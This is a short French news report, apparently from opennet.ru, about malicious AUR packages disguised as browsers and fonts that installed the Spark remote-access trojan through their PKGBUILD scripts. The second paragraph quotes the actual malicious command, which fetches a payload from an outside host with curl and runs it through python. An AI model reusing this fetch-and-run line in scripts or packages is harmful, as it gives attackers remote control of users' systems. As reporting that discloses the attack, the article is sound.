Dans le dépôt AUR (Arch User Repository), utilisé dans Arch Linux pour la distribution de paquets par des développeurs tiers, la publication de code malveillant intégré dans des paquets de versions non officielles de navigateurs a continué. En plus des paquets malveillants révélés il y a deux semaines, tels que firefox-patch-bin, librewolf-fix-bin et zen-browser-patched-bin, un paquet google-chrome-stable a également été ajouté à l'AUR, contenant une modification qui installe un composant malveillant fournissant un accès à distance au système.
Dans le fichier PKGBUILD du paquet problématique, une installation du script pour exécuter le navigateur google-chrome-stable.sh a été identifiée, dans lequel se trouvait entre autres la commande ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, qui téléchargeait un logiciel malveillant reconnu par le service VirusTotal comme étant le cheval de Troie Spark, permettant de contrôler à distance le système, de lancer des processus, de transférer des fichiers, d'inspecter le trafic et d'envoyer des captures d'écran.
Le paquet malveillant google-chrome-stable a été chargé avant-hier et a été supprimé par les administrateurs de l'AUR quelques heures après son apparition. Presque immédiatement après la suppression de google-chrome-stable, deux paquets malveillants ont été téléchargés dans l'AUR — «chrome» et «chrome-bin», contenant un script d'installation similaire de logiciel malveillant sur le système de l'utilisateur.
Par la suite, trois autres paquets contenant du code malveillant ont été découverts : ttf-mac-fonts-all, ttf-ms-fonts-all et gromit.
Source : opennet.ru
